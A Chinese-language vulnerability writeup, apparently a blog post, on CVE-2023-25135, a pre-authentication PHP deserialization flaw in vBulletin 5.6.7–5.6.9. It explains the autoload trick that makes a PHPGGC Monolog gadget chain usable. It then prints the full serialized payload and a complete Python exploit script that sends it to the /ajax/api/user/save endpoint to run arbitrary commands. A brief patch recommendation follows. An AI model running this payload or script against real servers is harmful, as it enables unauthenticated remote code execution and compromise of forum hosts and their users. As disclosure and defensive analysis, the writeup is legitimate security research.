漏洞分析|vBulletin反序列化代码执行漏洞(CVE-2023-25135)

1.漏洞描述

vBulletin是一个强大,灵活并可完全根据自己的需要定制的商业论坛程序(非开源),它使用PHP脚本语言编写,并且基于以高效和高速著称的数据库引擎MySQL。

vBulletin 允许未经身份验证的远程攻击者通过触发反序列化的 HTTP 请求执行任意代码。发生这种情况是因为 verify_serialized 通过调用 unserialize 然后检查错误来检查值是否已序列化。

2.影响版本

vbulletin 5.6.7

vbulletin 5.6.8

vbulletin 5.6.9

3.影响范围

 

4.漏洞分析

在vBulletin中用户注册时涉及vB_DataManager_User类的实例化,在该类中定义了validfield属性,每次实例化对象时候都会检查对应的属性是否正确。其中在该类中有一处searchprefs字段,每次实例化对象时候采用了一个verify_serialized函数检查数据,我们先看看。

进入verify_serialized函数

从这里可以看出,vBulletin通过调用了unserialize函数来检查传入searchprefs的数据是否序列化。searchprefs这个字段可以由用户自由控制,这就导致了漏洞利用的可能性。

然而在vbulletin中,几乎每个类都使用了vB_Trait_NoSerialize特性,一些常见的魔术方法如__wakeup(),__ unserialize()等被调用时,只会抛出异常。这就使得通过类中相关魔术方法构造新的利用链的方法难以行得通。

基于此,那只能尝试PHPGGC中能否生成有效的利用载荷。查阅资料发现,在vBulletin中包含有PHPGGC支持的Monolog库,其物理路径在packages/ googlelogin /vendor/monolog。但我们发现,vBulletin中默认是禁用googlelogin包的,其中的googlelogin/vendor/autoload.php文件不能被加载(用于加载Monolog各个类),monolog库就不能被访问到,PHPGGC产生的monolog/rce*利用链便注定不成功。

到这里,不难发现只要将googlelogin/vendor/autoload.php这个文件引入,PHPGGC产生的载荷就可以成功利用。于是,我们开始寻找vBulletin中用于加载各类的autoload方法,看看有没有可以将该文件引入的可能。在vBulletin中autoload方法可以归结为以下代码:

由此,可以了解到,给定一个类名,在vBulletin中即可引入包含进以该类名分解构成的文件。比如,vBulletin第一次实例化vB_DataManager_User时,PHP还不知道这个类。因此,它调用每个类的autoload,包括vB:: autoload(),它将会引入加载包含该类的文件vB /datamanager/user.php。这样一来已经定义了该类,PHP就可以实例化它。

利用此原理, 在vBulletin实例化vB_DataManager_User类,调用unserialize()方法检查searchprefs字段是否序列化时候,如果在searchprefs字段内容里面填写的是一个序列化的精心构造的类名,此时unserialize()方法会反序列化该类名的对象,整个过程中会调用到vB:: autoload(),从而引入加载以该类名分解构成的文件。即使这个类名是不真实存在的,它也只会返回一个__PHP_Incomplete_Class的实例,反序列化的过程不会崩溃。

反序列化过程不会崩溃,意味着在这个过程中可以引入任意的文件提供使用。这样一来,便可以将之前利用PHPGGC monolog库失败所缺少的packages/ googlelogin /vendor/ autoload .php文件成功引入。

据此,可以构造一个假的类名googlelogin_vendor_autoload 用于引入/googlelogin/vendor/autoload.php文件,将其序列化

O:27:"googlelogin_vendor_autoload":0:{}

将这个payload写入searchprefs中,将会执行到verify_serialized()方法中调用unseriliaze()检查其是否已经序列化。unserialize()方法中会尝试加载googlelogin_vendor_autoload这个类,但是其不存在。在这个过程中,vB:: autolload()被调用,并且将/googlelogin/vendor/autoload.php文件成功引入包含,这个文件真实存在,但是googlelogin_vendor_autoload这个类不存在,unserilize()只会返回一个__PHP_Incomplete_Class的实例,程序依然在执行。

如此一来,/packages/ googlelogin /vendor/ autolload .php文件被成功引入,monolog类便能够成功使用,PHPGGC中monolog/rce*利用链便可以生效。因此,可以构造一个数组,第一部分是之前构造的假的类名,用于能够使用monolog类,第二部分是PHPGGC生成的monolog/rce*的payload

a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\\Handler\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\BufferHandler":7:{s:10:"\x00*\x00handler";r:4;s:13:"\x00*\x00bufferSize";i:-1;s:9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"\x00*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i:-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}}
Poc:
#!/usr/bin/env python3
# Exploit for CVE-2023-25135: vBulletin pre-authentication RCE

from ten import *

@entry
@arg("url", "Target URL")
@arg("command", "Command to execute")
@arg("proxy", "Proxy to use (optional)")
def main(url: str, command: str, proxy: str = None):
    session = ScopedSession(url)
    
    if proxy:
        session.proxies = proxy
    
    marker = tf.random.string()
    command = f"echo {marker}::; {command}; echo ::{marker}"
    command = to_bytes(command)
    payload = (
        b'a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\\Handle'
        b'r\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\Buf'
        b'ferHandler":7:{s:10:"\x00*\x00handler";r:4;s:13:"\x00*\x00bufferSize";i:-1;s'
        b':9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:[LEN]:"[COMMAND]";s:5:"level";N;}}s:8:"\x00'
        b'*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i'
        b':-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}}'
    )
    payload = payload.replace(b"[LEN]", to_bytes(len(command)))
    payload = payload.replace(b"[COMMAND]", command)
    
    response = session.post(
        "/ajax/api/user/save",
        {
            "adminoptions": "",
            "options": "",
            "password": "password",
            "securitytoken": "guest",
            "user[email]": "pown@pown.net",
            "user[password]": "password",
            "user[searchprefs]": payload,
            "user[username]": "toto",
            "userfield": "",
            "userid": "0",
        },
    )
    if not response.code(200):
        failure(f"Exploit failed: unexpected response code ({response.status_code})")
        
    result = response.re.search(fr"{marker}::(.*)::{marker}", re.S)
    if not result:
        failure("Exploit potentially failed: command output not found")
        
    msg_success("Exploit succeeded!")
    
    msg_print("-" * 80)
    msg_print(result.group(1))
    msg_print("-" * 80)
    

main()

5.修复建议

官方已经发布补丁,升级到vBulletin最新版本。可以将searchprefs字段的unserilize()检测是否已序列化方法删除,替换为其他的检测是否已经序列化的方法。

  • 22
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值